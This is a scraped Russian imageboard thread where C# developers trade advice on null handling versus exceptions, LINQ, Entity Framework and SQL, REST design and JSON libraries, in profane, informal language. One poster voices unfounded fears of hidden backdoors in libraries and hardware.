с девайсами? это типа КАК НА СИ ПЛЮС ПЛЮС?
752 1754557
>>754516
Ну ХЗ что там на си плюс плюс. Я когда учился, практику проходил в одной конторе. Там были сишники, они писали драйвера для счетчиков потребления воды, и шарписты, к которым я и попал, писали прикладную часть, типа девайсы по проприетарному протоколу отправляли данные на наш сервер, на сервере мы их обрабатывали и схороняли, у сервера было api чтобы из веба можно было как счить данные которые уже есть на сервере, так и как-то с устройствами взаимодействавать, типа послать команду на чтение данных потребления за период или посмотреть версию прошивки. Воооооот. Лет 7 назад правда это было, я не знаю, занимаются ли сейчас таким на шарпе.
753 1754573
>>754557
мне шарпы, как язык, дико заходят. Однако не вижу какие-то интересных областей с ним: все тебе fullstack и жисоны туды сюды. Кресты/питон - там компуктер вижн, разработка под железо. Мб я романтизирую разработку на крестах и наоборот деромантизирую на шарпе. Но мысли из разряда "нахуя я 6 лет матешу учил, чтобы к бд обращаться 5 дней в неделю" напрягают. Ты, вроде, адекватный анон. Расскажи про большую разработку на шарпах. Есть ли реально челенжевые задачи? Матанчик нужнен? Мозг не застаивается?
Все вопросы рили серьезные - не хочется сейчас с работой проебаться и долгие месяцы сидеть в УГ говне, набирая нерелевантый опыт
754 1754694
>>754460
Да, именно так. Комбинировать с CreateLinkedTokenSource по вкусу.
755 1754728
Че почитать то грамотное по паттернам, солиду и проч шобле ебле уже уровня от мидла дотнетяика? У меня опыт в других языках есть просто, какие то представления о солиде, синтаксис дотнета интуитивен. Могу написать имиджборду. Но хочется знать что-то уже поглубже, т.е. паттерны для разных задач, как грамотно по солиду все писать итд
756 1754730
>>754728
Алсо впф и прочий винформ не интересует, только веб бекенд, только хардкор
757 1754773
>>754728
На уровне мидла уже нужно смотреть про архитектурные паттерны.
758 1754945
Аноны, помогите советом.
Хочу найти подработку, без участия галеры-прослойки. Подскажите, на каких ресурсах смотреть? Интересует по возможности фул тайм работа с контрактом минимум на полгода.
759 1754947
>>754945

>без участия галеры-прослойки


Welcome to out source, my boy. Таких нет, только фриланс толкаясь, крехтя и пердя среды 1001 индуса
>>754728
Как ты лычку получил без паттернов? Прямо как в мемасике - знаний, как у джуна, взяли на сеньера :) Энивей - красава.

Оффтоп - почему макака ограничила доступ на вход с тора на "анонимную" борду? Что за лицимерие?
760 1754962
>>754947
Меня и не брали, я щас фронтом работаю, в конторе дотнет нужен просто, хочу сразу на аппер джуна дотнета ну и самому интересно
761 1754966
>>754730
Хуй тебе в рыло, сраный урод.
это не оскорбление, это текущие реалии относительно желания быть бэкенд разрабом на asp net технологии. Конечно, у меня маленький опыт, 4 года и 7 проектов, но на всех проектах, даже на позициях back only, у меня спрашивали "а ты слышал что-нибудь про фронт энд? Да? Ах ты сука, сидишь молчишь, на тебе такси по фронту." и вот, помимо баз (хорошо, если на проекте dba есть), помимо ci/cd(хорошо, если на проекте девопс есть) ты ещё и фронт делаешь (даже при наличии сраных фронтов). Хорошо, если либа или фрэймворка фронтовый на тайпскрипте.
кароч, мой тебе совет: будут заказчики (именно заказчики, а не уебки с твоей галеры) спрашивать про опыт на фронте - говори что фронт никогда в жизни не видел.
762 1754967
>>754966
Я так фронт и в фулстек хочу, для меня это не проблема.
763 1754971
>>754967

Тогда удачи тебе, анон, но помни: за бэком придёт и остальное
764 1754972
>>754971
Не то, чтобы это все сложно, просто заебывает
765 1755049
>>754573

>чтобы к бд обращаться 5 дней в неделю


Меня так брали программистом на шарпе, теперь я из pl/sql developer вылажу только выполненные задачи отметить
766 1755056
Как возвращать пустую сущность, если она не найдена в БД и по сигнатуре выходной параметр именно эта сущность? Пример - есть БД, идет поиск по id/name/whatever - делаешь LINQ запрос - ее нет. Что возвращать? Null - это зашквар. Ваши предложения?
767 1755101
>>755056
еще вопрос в дополнение: Есть сущность, пусть это будет - Car. У Car есть такие поля - EngineType, Name, Type, Id, Brand. У пользователя есть возможность фильтровать по одному из критериев. Я знаю, как сделать в императивном стиле через кучу блоков If каждого поля с перегрузкой метода на N полей, можно ли это сделать это более грациозно?
768 1755200
>>755056
Бросай исключение. Обсуждалось выше в треде.
>>755101
Создай класс CarSearchOptions и ищи. В условии проверяй все поля через или. Если ну прям очень нужно чтоб фильтр был строго по одному параметру, перед поиском делаешь валидацию фильтра.
4f5.jpg29 Кб, 720x540
769 1755249
Есть одна функция.
public static City[] ConstructOneDimCity(Country[] countries)
{
List<City> cities = new List<City>();
for(var i = 0; i < countries.Length; i++)
{
for (var j = countries.GetXl(); j <= countries.GetXh(); j++)
{
for (var k = countries. GetYl(); k <= countries.GetYh(); k++)
{
cities.Add(new City(j, k, i, countries.Length))
}
}
}
return cities.ToArray();
}

Чем заменить вложенный цикл for в этом случае, чтобы было благолепно и не нужно было бы писать еще пяток for в случае расширения функционала?
Новый точечный рисунок.jpg46 Кб, 656x241
770 1755253
>>755249
Вот нормальное отображение кода.
Не знал, что сайт так будет вести себя так.
Вопрос тот-же.
771 1755264
Допустим, есть метод, который возвращает массив, к примеру, строк.
Как правильнее указать в сигнатуре возвращаемый тип - IList или IEnumberable?
С одной стороны, IEnumberable более универсален и если захочется возвращать вместо массива какой-нибудь Stack, это можно будет легко сделать без правки сигнатуры.
Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате, если понадобится в вызывающем коде сделать выборку по данным, нужно будет делать уродское преобразование во всех местах, где она нужна.
Есть ли универсальное решение для этого вопроса, или в каждом случае лучший вариант зависит от ситуации?
772 1755276
>>755253
Тебе нужно вынести внутренних 2 цикла и сделать метод для получения городов в классе Country. Он там намного логичнее будет смотреться. В сам Country ввести какой-нибудь ID, который можно будет передать в конструктор City вместо индекса в массиве. И ещё, убрать из конструктора City число стран. Зачем оно нужно?
773 1755282
>>755264

> Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате


Что? Возможно, появится повторный перебор, так как доступ через Next, а не как в массиве
774 1755288
>>755253
Linq'ом можно сделать, что-то типа:
var cities = from country in countries
from x in country.GetXs()
from y in country.GetYs()
select new Citi(x, y, country.Id)
775 1755291
>>755264
Если не можешь определить, то используй обобщения
776 1755297
>>755056
Создавай сущность с Id == -1
777 1755299
>>755056
Илт возвращай не искомое значение, а отдельный класс, например DbSearchResult в котором буду перечисления вида ResultState.Found/ResultState.NotFound
778 1755304
>>755282
Проебался немного - недавно наткнулся на проблему с IndexOf, который реализуется в IList.
>>755291
Как обобщения помогут в этой ситуации? Эти интерфейсы итак обобщённые.
779 1755311
>>755056
Да блядь, какого хуя-то Null это зашквар? Вот объясните мне?
Давай просто посмотрим варианты:
1. Ты возвращаешь null
2. Ты возвращаешь фейковый объект
3. Ты кидаешь исключение

Что мы имеем.
В первом варианте, null это дефолтное значение для всех референс типов, его оч быстро проверить и пользователь просто пишет if(obj is null) и все, ему даже думать не нужно больше, он всегда понимает что там может быть null, потому что, блядь ЭТО ДЕФОЛТНОЕ ЗНАЧЕНИЕ ВСЕХ РЕФЕРЕНС ТИПОВ, БЛЯДЬ, СУКА, НАХУЙ, ПИЗДА, ЗАЛУПА, ХУЙ.
Во втором, ты для каждой сущности делаешь статическую заглушку в виду MyObj.Empty. Ты добавляешь оверхед, а пользователь каждый раз должен такую же проверку на result.Equal(MyObject.Empty) делать, при этом там под капотом будет проверка на null и потом сравнение ссылок на объект. Опять же, ты создал просто так объект, который все время жизни приложения живет себе и нужен просто чтобы долбоеб проверил, а не хуйню ли я возвращаю.
Третье, ты кидаешь эксепшн. В итоге у пользователя ненужный нахуй оверхед, он должен обрабатывать это исключение и вообще, говно, жопа, мать ебал, производительность проседает и вообще говно-залупа и не нужно, если мы не работаем с сетью/удаленными БД/процессами, которые могут завершаться без нашего ведома и прочей залупой, от нас не зависящей.

В итоге, вариант с заглушкой это залупа из под коня, которая мало того что медленная, так и ни чем не выигрывает перед простой проверкой на null.
Остается два варианта Null и эксепшн. Эксепшн, как сказано ранее, заставляет пользователя писать постоянно try-catch, чтобы не дай бог хуйни не случилось. Или Null, божественный и удобный, который всем, сука понятен и все про него знают.

>>755299
Оверхед. Но таки оправданный, если для тырпрайза по всем заветам солида делается. Наверное лучший вариант.

>>755297
И что будет если в рамках конкретной таблицы это валидный ID? Ну вот был ебанутым чел что проектировал БД и в отрицательную сторону считать ключ, для каждой второй таблицы, просто потому что. Ну вот такой странный чел был, что поделать, а БД уже 15 лет работает и никто менять структуру не собирается, потому что ну вот так вот. Теперь я как пользователь класса должен что-то знать про устройство таблицы? И в случае если это вот конкретно эта таблица, то надо на положительные проверять, а если та - на отрицательные? А что если вообще в этой таблице нет суррогатных ключей и соответственно никаких ID? Допустим при проектировании решили, что Имя-Дата нормальный ключ для события, т.к. одно и то же событие в один день не может произойти, никаких ID. Что мне тут проверять? Если бы я просто проверил на Null, мне вообще не нужно было бы думать про то как там таблица устроена, какая там сущность и т.д.

В общем, мое мнение null - прекрасен, null удобен, null - это радость и процветание, если ты не чел, который забывает каждый раз что null это то чего нужно ждать.
779 1755311
>>755056
Да блядь, какого хуя-то Null это зашквар? Вот объясните мне?
Давай просто посмотрим варианты:
1. Ты возвращаешь null
2. Ты возвращаешь фейковый объект
3. Ты кидаешь исключение

Что мы имеем.
В первом варианте, null это дефолтное значение для всех референс типов, его оч быстро проверить и пользователь просто пишет if(obj is null) и все, ему даже думать не нужно больше, он всегда понимает что там может быть null, потому что, блядь ЭТО ДЕФОЛТНОЕ ЗНАЧЕНИЕ ВСЕХ РЕФЕРЕНС ТИПОВ, БЛЯДЬ, СУКА, НАХУЙ, ПИЗДА, ЗАЛУПА, ХУЙ.
Во втором, ты для каждой сущности делаешь статическую заглушку в виду MyObj.Empty. Ты добавляешь оверхед, а пользователь каждый раз должен такую же проверку на result.Equal(MyObject.Empty) делать, при этом там под капотом будет проверка на null и потом сравнение ссылок на объект. Опять же, ты создал просто так объект, который все время жизни приложения живет себе и нужен просто чтобы долбоеб проверил, а не хуйню ли я возвращаю.
Третье, ты кидаешь эксепшн. В итоге у пользователя ненужный нахуй оверхед, он должен обрабатывать это исключение и вообще, говно, жопа, мать ебал, производительность проседает и вообще говно-залупа и не нужно, если мы не работаем с сетью/удаленными БД/процессами, которые могут завершаться без нашего ведома и прочей залупой, от нас не зависящей.

В итоге, вариант с заглушкой это залупа из под коня, которая мало того что медленная, так и ни чем не выигрывает перед простой проверкой на null.
Остается два варианта Null и эксепшн. Эксепшн, как сказано ранее, заставляет пользователя писать постоянно try-catch, чтобы не дай бог хуйни не случилось. Или Null, божественный и удобный, который всем, сука понятен и все про него знают.

>>755299
Оверхед. Но таки оправданный, если для тырпрайза по всем заветам солида делается. Наверное лучший вариант.

>>755297
И что будет если в рамках конкретной таблицы это валидный ID? Ну вот был ебанутым чел что проектировал БД и в отрицательную сторону считать ключ, для каждой второй таблицы, просто потому что. Ну вот такой странный чел был, что поделать, а БД уже 15 лет работает и никто менять структуру не собирается, потому что ну вот так вот. Теперь я как пользователь класса должен что-то знать про устройство таблицы? И в случае если это вот конкретно эта таблица, то надо на положительные проверять, а если та - на отрицательные? А что если вообще в этой таблице нет суррогатных ключей и соответственно никаких ID? Допустим при проектировании решили, что Имя-Дата нормальный ключ для события, т.к. одно и то же событие в один день не может произойти, никаких ID. Что мне тут проверять? Если бы я просто проверил на Null, мне вообще не нужно было бы думать про то как там таблица устроена, какая там сущность и т.д.

В общем, мое мнение null - прекрасен, null удобен, null - это радость и процветание, если ты не чел, который забывает каждый раз что null это то чего нужно ждать.
780 1755312
>>755264
https://enterprisecraftsmanship.com/posts/return-the-most-specific-type/
Тлдр: в твоём случае вообще можно List вернуть.
781 1755315
>>755311
Хули вы эксепшены ненавидите?
Я вот брошу эксепшн, повешу на роут ExceptionFilter атрибут и верну 404 сделав одну проверку. А вы пишите свои проверки на null по всему коллстеку до посинения. И тесты на это говно пишите.

Компьютеры дешёвые, программисты дорогие.
.png30 Кб, 644x811
782 1755317
>>755253
Ну, вот как вариант.
Правда я нихуя не понял модель всего этого, потому может быть хуйню написал.
783 1755319
>>755317
Зачем все это? Добавь метод GetAllCities() к классу Country и все. Ты как будто Ява погромистом стать хочешь со своими стратегиями.
784 1755325
>>755319
Чел же сказал, что не хочет писать пяток for в случае расширения функционала. Так он может любую реализацию получения городов вынести из страны и как угодно получать их. Может, в случае желания, для разных стран разные методы получения городов делать.
Ну, по крайней мере я так понял то что он хочет.
785 1755328
>>755297
фейк лучше не кидать, это не мок. Если юзер будет вводить хуйню и получать фейк - это проблема
>>755299
это изолированный поиск по сущностям, там нет перебора на найдены/не найдены
>>755311
null - зашквар, ибо nullreferenceexeption ложит апликуху. И как написал господин из >>755315 - это проверки по всей цепочке алгоритма на Null, чтобы не дай бог нигде не проебаться.
>>755200

>Бросай исключение


остановился на исключениях, ибо можно целую фабрику Exception сделать и через pattern martching проверять их

>Создай класс CarSearchOptions


У меня получились доп. экстеншены к сущностям по дереву наследования. Я боюсь, чтобы они не раздулись до склада костылей. Так или иначе - спасибо за совет
786 1755329
>>755325
С вероятностью 99% чел просто хочет результат cities.SelectMany(c => c.GetX1().Concat(c.GetY1())
787 1755350
Аноны, прошу помочь советом.

Есть %сайт_нейм%, который имеет собственный API. Хотелось бы в качестве практики написать библиотеку, в которой были бы реализованы все методы из этого API.
Как пример - библиотеки VkNet / Telegram.Bot.

Какие технологии/архитектурные особенности используются для подобного и где об этом можно почитать?
788 1755357
789 1755358
>>755350
Парсер(любой) и что-нибудь для запросов по HTTP, можешь, например, ебануться и на голых сокетах ебашить, можешь HTTP-клиент использовать.
790 1755472
>>755311
Конечно, в манямирке большинства программистов, никто не забывает делать проверки на null, но в реальности их забывает делать каждый. Вот теперь подумай, лучше не сделать проверку на null и положить всё приложение или не сделать проверку на null и продолжить работу приложения с объектом-заглушкой, записав это в логи?
791 1755474
>>755472
Если программист забывает проверку на null, он так же будет забывать и про проверку с заглушкой и логгирование. А с точки зрения работы, так вообще, лучше приложение сразу упадет и ты знаешь где и когда, с логами и всем на свете, чем потом будешь искать, где же там ебаная заглушка всю логику ломает.
792 1755483
>>755474
Заглушка сама пишет в логи обращение к своим свойствам и методам, поэтому если кто то забыл, то это будет отражено в логах. Для этого даже аттрибуты сделали: callermembername, sourcefilepath и sourcelinenumber. Поэтому найти всё это будет легче, чем восстановиться после исключкния, а потом еще и искать его.
При этом не найденый объект это не такая проблема из за которой нужно ложить всё приложение, а если ты его ложишь, то значит нужно во всех таких местах создавать механизмы сохранения состояний.
793 1755494
>>755483
>>755472
поздравляю, ты изобрел php. Продолжаем работу с любым говноообъектом ЛИШЬ БЫ НИУПАЛО.

А через 15 минут работы у теюя вв базе появляется хуй пойми чего благодаря твоим замечательным логирующим заглушкам.
794 1755535
Кто-то может на пальцах объяснить как работает эта строчка?

return s.Split(' ').Min(x => x.Length);

Я понимаю, что мы берём строку, разбиваем её на массив слов через пробел, а дальше ищем минимальное длину каждой подстроки через Linq. А как работает вот это: x => x.Length Почему это выражение в скобках?
795 1755545
>>755535
x=>x.Length тут делегат, или тупо метод который берет строку x и возвращает ее длину
в скобках она потому что это вызов метода Min()
796 1755548
>>755535
Min принимает в качестве аргумента делегата. Этот делегат может быть описан как обычная функция, так и с помощью лямбды. Этот самй : x => x.Length это как раз лямбда. Ты бы мог вместо этого функцию аналогичной сигнатуры пихать.
797 1755591
>>755276
>>755288
>>755317
>>755319
>>755325
>>755329
Спасибо за помощь.
798 1755600
>>755494
Это вполне элементарные правила ООП. Падать приложение должно только в исключительных случаях, а не когда у тебя в базе данных не нашлось совпадений на запрос.
799 1755638
>>755600
1) Если у тебя веб приложение, оно неупадет. Ответит васяну 500 ошибкой если ты не удосужился поставить фальтров на свои API.
2) Если ты пишешь десктопную хрень - лови на том уровне, где ты с эттим исключением сможешь сделать что-то вменяемое. Например, вывалить сообщение о не найденных записях.

Error hiding хуже крешей.
800 1755713
>>755600
Так, блин, проверяешь на null и ничего не падает, при этом ты сразу можешь остановить выполнение дальнейшего алгоритма, потому что ничего не найдено. В чем проблема-то?
Просто давай посмотрим. Допустим тебе нужно вернуть не чистую сущность а какую-то аггрегированнуию, например ты не просто пользователя возвращаешь, а в ответ пихаешь его список любимых книг. Ну и вот ты вернул фейкоюзера, он там логгируется, пробует получить свой список любимых книг, может быть еще получить любимых певцов, просто так тратит ресурсы, выполняет ненужную работу и т.д. при этом конечным ответом все равно будет пустой объект. Проверив на null ты мог сразу вернуть: UserNotFound и все. А если ты кидаешь эксепшн на каждого не найденного юзера, то в определенный момент, когда запросов море, а БД раздута, у тебя начинаются ненужные просадки производительности, твой клиент вынужден брать более дорогое железо из-за того что кодер с СДВ забывает проверять на null, когда ебучая IDE ему говорит о том, что надо проверить.
801 1756273
>>755713

>проверяешь на null


Выше уже писал, что делается это для ситуаций в которых забили написать проверку на null. Вот если брать такую ситуацию, то пока мой фейкоюзер будет отдавать пустые списки и значения, записывая все вызовы в лог, ты положишь своё приложение и, возможно, потеряешь ценную информацию, а также время на восстановление и гадание того, где же у тебя там нуллреференс эксепшн вылез.
802 1756275
>>755638

>лови на том уровне


Зачем, если можно возвращать пустой объект и обойтись меньшим количеством трай кетч блоков?

>Error hiding хуже крешей.



В том то и дело, что это не ошибка. Это стандартное значение, вот только если при стандартном для Int32 нулевом значении у тебя при манипуляциях с этим значением не вылетает эксепшн, то при манипуляциях с null значением этот эксепшн вылетает. Вот это и избегают объектом, который будет возвращаться вместо null и представлять стандартное, пустое значение.
803 1756394
>>756273
>>756275

>В том то и дело, что это не ошибка.


Ок, забывчивый программист Вася пишет роут PUT /api/users/{id}/personal-data. Он пользует твой класс, который возвращает фейковый объект если юзер с таким ID не найден. Естественно он забыл проверить на фейкового юзера потому что на null он тоже забыл бы проверить, как ты пишешь Что теперь? Сохраняем хуету вместо персональных данных? Падаем? Просто логируем и продолжаем работать как ничего не бывало?

> гадание того, где же у тебя там нуллреференс эксепшн вылез.


Бред сивой кобылы. Узнать источник нуллрефа гораздо проще, чем угадать откуда же у тебя в базе появился фейковы юзер с ID = -1. В стектрейсе даже строка, ёпта, написана.
804 1756546
На сколько актуально знание SQL у .NET разраба? ADO.NET - легаси, Dapper - никто не использует. EF - наше все. А где EF, там LINQ. Вопрос - зачем тогда нужен SQL?
805 1756563
>>756546
Зтем же, зачем и нужны знания структур данных и алгоритмов - для умения писать высокопроизводительный код. Зная только линк ты можешь нахуячить говна, которое и 100 запросов не выдержит, а нужно выдерживать тысячи таких запросов, поэтому помимо линк, нужно знать и сикьюел. Иногда вообще выгоднее чистый sql запрос написать, потому что линк конструкция неоправданно тормозит. В общем, линк это не замена, а инструмент для тех кто уже знает sql.
806 1756573
>>756563

>знания структур данных и алгоритмов - для умения писать высокопроизводительный код


Ох и насмешил

>которое и 100 запросов не выдержит


О какой БД идет речь? О каких мощностях? Энивей, держи линк и не благодари
https://docs.microsoft.com/en-us/archive/msdn-magazine/2005/august/tools-of-the-trade-sql-server-profiler-and-query-analyzer

Какие еще у кого мысли насчет знаний SQL при EF+LINQ?
807 1756581
>>756546
Ну вот пример из жизни. Пишу я на своем уютном EF Core, пишу-пишу и тут хуяк и свиду обычный запрос валится. Потому что еф генерирут запрос с кросс аплай, для sqlite, которая не поддерживает кросс аплай а починить обещают только в Net5 - https://github.com/dotnet/efcore/issues/19178 и хуль делать? Либо разбивать запрос (а там получается по дополнительному запросу к бд на каждую полученную запись, что пиздец), либо ручками написать запрос и вызвать через FromSqlRaw.
808 1756586
>>756581
вот это хороший аргумент
809 1756611
>>756586
Я вроде чуток напиздел, можно было через 2 запроса, а в памяти уже группировать и джоинить как надо
810 1756697
>>756611
энивей - прийдет новый разРАБ на твое место, увидет 2 запроса и начнет вилкой ковырять по тому, что не допиленно
811 1756805
>>756546

> Вопрос - зачем тогда нужен SQL?


Тоже так когда-то думал. По итогу удобнее педалить sql, чем пердолиться с классами в шарпе. Прототипирование ты как будешь делать? Вот есть у тебя тысяча таблиц, тебе данные нужно покрутить. Да ты ты устанешь каждый раз базу скаффолдить и отладчиком писюн дрочить
А еще постгре нечувствителен к регистру. В результате названия классов распидорашивает, и мало ты что там поймешь

Иногда руками можно подтюнить запрос, чтобы работало быстрее. Но это редкость
812 1756878
>>756805

>Прототипирование


Db first создается же модель под БД
То, что ты описал - это дрочка костылей. Если на проекте какой то Васян жидно пернув не сделал снепшот Бд и пошел крутить сущности, что по итогу привело к рассинхрону и не возможности сделать апдейт, тогда да.
Через что ты запрос делаешь, через ADO?
813 1756929
Аноны помогите, очень нужно.
Есть заказ на приложение на xamarin.
Попалась сложная анимация: прокрутка списка со значениями. То есть есть carousel с label в котором значение.
Нужно изменять прозрачность объекта, другой label, в зависимости от скролла carousel.
Нашел библиотеку xamanimation. Но вот проблема как туда передать значения от 0 до 1, в значение progress.
Очень срочно нужно, помогите пожалуйста.
814 1757215
Для чего нужно передавать запрос к БД через поисковую строку? Типо /api/shop/1 - нахуй нужен этот "1", если все передается через элементы формы? Чего то вообще не догоняю... Я понимаю, когда передаешь токен через строку, т.к. другого выбора нет, а тут я передаю все через Body.
Я мысленно понимаю, что я не прав, т.к. на всех сервисах запросы передавались именно так. Поправьте меня.
815 1757261
>>757215
https://en.wikipedia.org/wiki/Representational_state_transfer
Почитай. В кратце: ты работаешь с ресурсом. Определятся этот ресурс должен по URI. Твои формочки пересылают данные черз Body запроса, поэтому твой ID не участвует в формировании URI -> нужно смотреть BODY запроса, что затратно как на уровне железа, так и на когнетивном уровне.
816 1757286
>>757261
и что, это для всех REST запросов распостраняется? Типо при регистрации метод будет не
[HttpPost]
public ActionResult CreateUser(User user) {}
а
public ActionResult CreateUser(int id, string userName... etc)
И строчка запроса получиться типо api/CreateUser/1?vasyan?admin
Чи шо? На какое то обрыганное пхп похоже
817 1757291
>>757286
Биндинг параметров и строчка запроса никак не связанны
818 1757331
>>756878

> Через что ты запрос делаешь, через ADO?


Когда работаю с постгре, через sqlraw по dbset. Потому что классы такие на выходе, что караул
С mssql использую ef как полагается

Но я про другое. Надо тебе данные прикинуть, а база в наличии – проще запросами примерную структуру набросать
819 1757387
>>724425 (OP)
Аноны, у меня прога работает с JSON,
и использует Newtonsoft.Json.dll
при помощи

>using Newtonsoft.Json;



Из этой dll-ки, вызываются только методы:

>JsonConvert.DeserializeObject


>JsonConvert.SerializeObject


Всё остальное, в проге - не используется, и нахуй не нужно.

До сих пор, программулина использует пре-компилированный, хуй знает кем Newtonsoft.Json.dll
Вдруг там вирьё заобфусцировано , или бекдоры, блядь? Хуй знает.
Решил я, в общем, сделать софтину опенсорцной...
Но как сходил сюда: https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src
- охуел от многабукафф.

Внимание, вопрос:
Где нарыть Newtonsoft.Json.JsonConvert.cs без всяких лишних шняг, чтобы просто приинклюдить его и не ебать себе мозг?
Пока нашёл только это: https://my.oschina.net/u/4329266/blog/3221402
Но там чё-то по-китайски написано, и вдруг там закладки софтварные, и коровавирас - хз...
820 1757392
>>757387
Может у кого есть исходник Newtonsoft.Json.dll в одном .cs-файле - прошу скиньте.
821 1757435
>>757387
>>757392
Иди проспись.
822 1757465
>>757387
1) сходи к психологу, у тебя пароноя
2) https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-how-to
823 1757480
Уже появились тулзы, позволяющие в один клик конвертировать проект на фреймворке в проект на неткоре?
824 1757531
>>757387
Ты думаешь в рантайме и компиляторе нет закладок?
zakladki.jpg173 Кб, 1280x960
825 1757541
>>757531
какие еще нахуй закладки?
826 1757597
>>724425 (OP)
Как правильно сделать

>rsa.Decrypt(encryptedData, false)


и сделать этот декрипт - приватным ключём (d, n),
после того, как данные были зашифрованы, с использованием

>rsa.Encrypt(sourceData, false),


и зашифрованы публичным ключём (e, n),
так вот, как сделать этот декрипт,
используя BigInteger и его метод modPow,
зная при этом значения (d, n) в виде hex'a или base64 (из того же xml-файла).

Чё-то оно вообще не декриптится при помощи modPow,
только rsa.Decrypt(encryptedData, false) может раздекриптить всё это зашифрованное дело,
а каким ключём - оно декриптит хрен поймёшь, и енкриптит ли вообще.
Свиду, вроде, какой-то шифр и есть, а иди знай шифр ли это, или зазондированная херота от копирастов,
которая брутится за час, слабенькой видяшкой васяна в гараже...
827 1757629
>>757435

>Иди проспись.


От того, что я просплюсь, софтина опенсорцнее не станет.
>>757531

>Ты думаешь в рантайме и компиляторе нет закладок?


>>757465

>1) сходи к психологу, у тебя пароноя


Это я ещё тут параноик, блядь?
>>757541

>какие еще нахуй закладки?


Хардварные, в логических схемах, которые.
Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>757465

>2) https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-how-to


Есть исходник для .NET Core 2.0?
828 1757636
>>757629

>Хардварные, в логических схемах, которые.


Это ты так метаданные называешь, наркоман?
Тебе JsonConvert нужен? Сделай миграцию до 3.0+, где есть тип System.Text.Json и не еби мозги
829 1757639
>>757636
А как же обратная совместимость?
830 1757643
>>757629

>софтина опенсорцнее не станет


Куда уж попенсорснее MIT'a?

>...free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software...


>Это я ещё тут параноик


Таки да. еще и сарказма не уловил хотя бэкдор в рантайме куда реальнее, чем в либах от коммунити

>прекомпилированная


Скомпилируй сам

>Есть исходник для .NET Core 2.0?


Тута есть все исходники, включая компилятор, рантайм, fcl и т.д. - https://github.com/dotnet
831 1757644
>>757629

>От того, что я просплюсь, софтина опенсорцнее не станет.


От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.
832 1757645
>>757541

>какие еще нахуй закладки?


>>757629

>Хардварные, в логических схемах, которые.


>Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.


>>757636

>Это ты так метаданные называешь, наркоман?


Да причём тут метаданные, речь о зондах со слежкой, от ссыклоидов всяких, коим напичано и железо и софт.

Кстати, по поводу хардварных закладок, в логических схемах.
Не так давно, здесь: >>1755674 →
Всплыл шифр Шамира: https://ru.wikipedia.org/wiki/Протокол_Шамира
И по ссылке на статью о самом Шамире: https://ru.wikipedia.org/wiki/Шамир,_Ади
Видно его цитату:

>В 2007 году, по сообщениям rnd.cnews.ru, Ади Шамир заявил,


>что для современных криптосистем серьёзная угроза таится в виде роста числа невыявленных ошибок,


>вызванных постоянным усложнением микропроцессоров.


>«Если спецслужбы обнаружат или скрытно внедрят в популярный микропроцессор


>алгоритм неправильного вычисления произведения только лишь одной пары чисел A и B


>(хотя бы в бите номер 0, то есть наименее значимом бите),


>то любой ключ в любой RSA-программе на любом из миллионов ПК


>с этим чипом может быть взломан с помощью единственного сообщения», — пишет Ади Шамир.


>Взлом может быть применен к любой системе, где задействованы открытые ключи,


>причем сейчас это не только ПК, но и телефоны и другие устройства.



Вот такие вот хардварные закладки.
Так-то только с виду кажется, что обратной совместимости нет, потому что делается всё через жопу,
по принципу "хуяк-хуяк, и в продакшн". На деле же, внутри новинок - куча зондов, жуков, бекдоров, вирасов, троянов и червей вроде WinWorms.
832 1757645
>>757541

>какие еще нахуй закладки?


>>757629

>Хардварные, в логических схемах, которые.


>Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.


>>757636

>Это ты так метаданные называешь, наркоман?


Да причём тут метаданные, речь о зондах со слежкой, от ссыклоидов всяких, коим напичано и железо и софт.

Кстати, по поводу хардварных закладок, в логических схемах.
Не так давно, здесь: >>1755674 →
Всплыл шифр Шамира: https://ru.wikipedia.org/wiki/Протокол_Шамира
И по ссылке на статью о самом Шамире: https://ru.wikipedia.org/wiki/Шамир,_Ади
Видно его цитату:

>В 2007 году, по сообщениям rnd.cnews.ru, Ади Шамир заявил,


>что для современных криптосистем серьёзная угроза таится в виде роста числа невыявленных ошибок,


>вызванных постоянным усложнением микропроцессоров.


>«Если спецслужбы обнаружат или скрытно внедрят в популярный микропроцессор


>алгоритм неправильного вычисления произведения только лишь одной пары чисел A и B


>(хотя бы в бите номер 0, то есть наименее значимом бите),


>то любой ключ в любой RSA-программе на любом из миллионов ПК


>с этим чипом может быть взломан с помощью единственного сообщения», — пишет Ади Шамир.


>Взлом может быть применен к любой системе, где задействованы открытые ключи,


>причем сейчас это не только ПК, но и телефоны и другие устройства.



Вот такие вот хардварные закладки.
Так-то только с виду кажется, что обратной совместимости нет, потому что делается всё через жопу,
по принципу "хуяк-хуяк, и в продакшн". На деле же, внутри новинок - куча зондов, жуков, бекдоров, вирасов, троянов и червей вроде WinWorms.
833 1757646
>>757644
Как можно спиздить опенсорц, лол?
834 1757654
>>757639
чего с чем? Алло, уже 3.1 по полной гуляет, ты еще на 2.0 сидишь
>>757644

>От того, что я просплюсь, софтина опенсорцнее не станет.


>От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.


ты зеленый или долбоеб, я одного не пойму? Что за хуйню ты несешь?

>Всплыл шифр Шамира


шифр - это протокол. Ты свой JSON передаешь по TCP/Ip через http протокол, алгоритмы которого уже задекларированны и никакой 3ей стороны кроме ssl быть не может
Высеры дальше тяжело укладываются в логическую смысловую конструкцию, поэтому завершу свой пост назвав тебя долбоебом и шизиком. Иди как ты лучше нахуй проспись, как тебе советовали выше
835 1757659
>>757646
Проигнорировать лицензию, например
836 1757660
>>757646
Легко, посмотри какие лицензии есть.
837 1757670
>>757636
Под system.text.json нет нормальных генераторов типов из json строки
838 1757791
>>757660
WTFPL рулит, там тру копилефт.
image.png91 Кб, 225x225
839 1757812
Аноны, как сделать что бы страница клиента обновлялась из сервера, вот как в фейсбуке например пользователь пишет тебе сообщение и оно появляется сразу у тебя на странице хотя ты странциу не обновлял?
840 1757898
>>757812
SignalR например
841 1758289
>>757812
WebSocket или SignalR
image.png61 Кб, 1425x743
842 1758564
